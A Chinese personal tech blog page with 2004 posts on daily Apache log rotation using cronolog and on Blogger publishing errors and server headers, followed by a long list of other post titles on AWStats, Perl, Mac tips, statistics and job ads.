我试用了一下Eurekster，由于会把自己大量搜索信息提交，感觉非常别扭。但是一想到Google说不定在暗地里一直有计划地搜集用户信息：说明

原来SourceForge上也用cronolog

Mon, 02 Feb 2004 15:47:39 +0800

cronolog - phpMan 哈，原来SourceForge上也在用cronolog

在apache的FAQ中，推荐了经过近2年发展已经比较成熟的一个工具cronolog：安装很简单：configure=>make=> make install

他的一个配置的例子会让你了解它有多么适合日志按天轮循：对httpd.conf做一个很小的修改就能实现： TransferLog “|/usr/sbin/cronolog /web/logs/%Y/%m/%d/access.log” ErrorLog “|/usr/sbin/cronolog /web/logs/%Y/%m/%d/errors.log”

然后：日志将写入 /web/logs/2002/12/31/access.log /web/logs/2002/12/31/errors.log 午夜过后：日志将写入 /web/logs/2003/01/01/access.log /web/logs/2003/01/01/errors.log

我写的关于使用CRONOLOG轮循日志的文档

Blogger.com看来是用Java重写了一遍

Mon, 02 Feb 2004 11:57:33 +0800

以下是更新的时候的出错信息： There were errors: 001 java.net.ConnectException: Connection timed out on file:/public_html/blogger/archieve/2004_02_01_chedong_archive.html 421 dk.eos.net.FtpError: No Transfer Timeout (120 seconds): closing control connection. 001 java.io.IOException: EOF while reading from control connection on file:/public_html/blogger/archieve/2004_01_01_chedong_archive.html 001 java.io.IOException: EOF while reading from control connection

001 java.io.IOException: EOF while reading from control connection on file:/public_html/blogger/atom.xml 001 java.io.IOException: EOF while reading from control connection 001 java.io.IOException: EOF while reading from control connection on file:/public_html/blogger/index.html

blogger的服务器：也改成APACHE了 lynx -head http://new.blogger.com/ HTTP/1.0 200 Date: Mon, 02 Feb 2004 03:50:40 GMT Server: Apache Set-Cookie: JSESSIONID=5B2CFDA997FB6E09259D15C5502A0A2E; Path=/ Set-Cookie: ServerID=1291; Path=/ Set-Cookie: I=; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Cache-Control: private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Connection: close Content-Type: text/html; charset=UTF-8

Blogs on 笔记 by 车东

openclaw配置飞书 channel 机器人通道 多账号

使用Opencore patcher升级老款Macbook: Hacintosh

迁移SF上的项目：从cvs到git 通过cvs-fast-export

Movable Type 3.3 字符集乱码故障修复记录：

一、故障背景

二、问题本质分析（核心结论）

四、通用修复方案（核心 SQL 模式）

几种Wiki文档系统比较：Teambition thoughts 语雀 Notion GitHubWiki Confluence

Perl 5.22以后的语法更新：Unescaped left brace in regex is illegal here in regex; marked by <-- HERE in m/\"%{ <-- HERE Referer}i\"/ at ./awstats.pl line 9045.

免费版StatPlus在Mac Excel 2016 v16以上版本集成菜单安装：Excel 加载项 ==> 启用StatPlusMacAddin

浏览器中丢失referrer和HTTPS=>HTTP丢失referer的解决：基于会话的站内来源地址URL还原

搜索引擎来路关键词的挖掘：百度统计的高级分析报告导出获取来源关键词

Mac下处理PC以^M结尾的文本

特殊字符Ctrl-A Ctrl-B Ctrl-C Ctrl-D Ctrl-E Ctrl-F分隔符在awk中的输入

iPhone照片的云端备份和本地移动硬盘备份 策略

5miles：挑战Craiglist的海外C2C平台 找BI工程师

美国旧金山：租车被拖走了怎么办 找AutoReturn (415) 865 8200

北京地区美国B1/B2十年签证免面试续签流程 2025年12月份更新

一、官方参考链接

二、详细办理流程

Step 1｜准备签证照片

Step 2｜注册并登录签证系统

Step 3｜填写 DS-160 并缴费

Step 4｜中信银行递交材料

算法分析师2名: 无线互联网的海外电商平台 要聪明

相似度对比的两种计算算法：Jaccard similarity相似性系数和Ochiai coefficient落和系数

ssh: sys_tun_open: /dev/tun0 open failed: No such file or directory 问题的解决

Tunnel no

💬 历史评论

Mac OSX上的ssh tunnel 代理设置备忘ssh -i /path/to/key -D 1080 -C -N remoteuser@remote.host

iPhone 4/4s遗失/5s丢失后的手机定位找回：怎样使用iCloud的“查找iPhone”

AWStats 配置更新： Unknown encoding 'GB18030' at plugins/decodeutfkeys.pm和JikeSpider

修改： diff -r1.12 awstats-cn.txt 3c3 < PageCode=GB18030

电脑屏幕分辨率分布统计（基于CNZZ统计数字） 2012-03 更新

又到一年校招时： 校园用户使用的招聘类网站对比

💬 历史评论

MT上“Name "Locale::Maketext::Lexicon" used only once:” 问题的解决： 改用Perl内置函数库

如何确定抽样统计的最小样本量（附：随机抽样统计的抽样误差Excel计算表格）

AWStats 7.0 发布， Linux下的安装配置使用备忘

[招聘] 中文的LinkedIn项目招聘服务器端Linux开发和Windows客户端开发

在Dreamhost遭遇挂马： powergym.be

中国人口年龄构成统计 2007 - 2100

AWStats的自定义扩展统计：Using the Extra Sections features

Example 1: Tracking Product orders

Example 2: Tracking Bugzilla most frequently viewed bugs

Example 3: Tracking Exit clicks

Example 4: Tracking aborted download

Example 5: Tracking most requested domain aliases

Example 6: List of top level 2 path under a directory /mydir

中国每年出生人口数 1976年 - 2000年 历年男女性别比

[搜狗招聘] 搜狗搜索引擎 产品专员 欢迎实习生

💬 历史评论

百度蜘蛛支持crawl-delay/sitemaps/blog ping接口，Alexa增加Keywords/来源分析/用户构成

💬 历史评论

腰围2尺1,2,3,4,5,6,7,8寸分别等于是多少厘米/英寸(对照表)

💬 历史评论

内容型网站面向搜索引擎蜘蛛和搜索用户的优化

💬 历史评论

使用开源软件对IIS应用进行重构

💬 历史评论

FPA色彩性格测试题：黄 红 蓝 绿 你是哪个？

雅虎统计 chedong.com 读者基于淘宝购物行为的访客网购兴趣分析

使用Google analytics的 _trackPageview()对网页进行重新命名统计

💬 历史评论

AWStats 6.9发布： 补充中文搜索引擎定义和配置样例下载

💬 历史评论

关于Google FREE Webhosting !的欺诈邮件 200∞

MySQL的性能调优工具：比mysqlreport更方便的tuning-primer.sh

图片存储：随时间增加新域名进行扩容的办法

💬 历史评论

增大AWStats的$LIMITFLUSH，减少磁盘临时文件读写 Flush history file on disk (unique url reach flush limit of 5000)

AWStats的补充定义：区分百度图片搜索和一些新出现的360搜索引擎蜘蛛

💬 历史评论

推荐《构建可扩展的Web站点》- 基于监控的系统调优

💬 历史评论

[心理测试] 在一个伸手不见五指的黑屋子里，你会做什么？

💬 历史评论

互联网小业主的急需什么技术解决方案？ - 给Sun Web20kit的建议

💬 历史评论

openclaw配置飞书 channel 机器人通道多账号

iPhone照片的云端备份和本地移动硬盘备份策略

5miles：挑战Craiglist的海外C2C平台找BI工程师

美国旧金山：租车被拖走了怎么办找AutoReturn (415) 865 8200

算法分析师2名: 无线互联网的海外电商平台要聪明

又到一年校招时：校园用户使用的招聘类网站对比

MT上“Name "Locale::Maketext::Lexicon" used only once:” 问题的解决：改用Perl内置函数库

中国每年出生人口数 1976年 - 2000年历年男女性别比

[搜狗招聘] 搜狗搜索引擎产品专员欢迎实习生

FPA色彩性格测试题：黄红蓝绿你是哪个？

AWStats 6.9发布：补充中文搜索引擎定义和配置样例下载

山寨技术交流会：博客大巴 / VeryCD / 客齐集 / 联络家 / CDNUnion

[AD] “我不是一个塑料袋” 博客大巴环保袋设计大赛一等奖为MacBook Air + 5000￥

[博客大巴招聘] PHP程序员，工作地点在上海欢迎大学生暑期实习

邮箱中显示图片的显示安全风险：自己的信箱地址不可以信任

如何禁用IBM X61/X60的FN+空格键屏幕放大功能：删除ThinkPad Magnifier驱动

Java桌面应用的缺省字体太难看？使用Windows系统宋体和雅黑字体的设置方法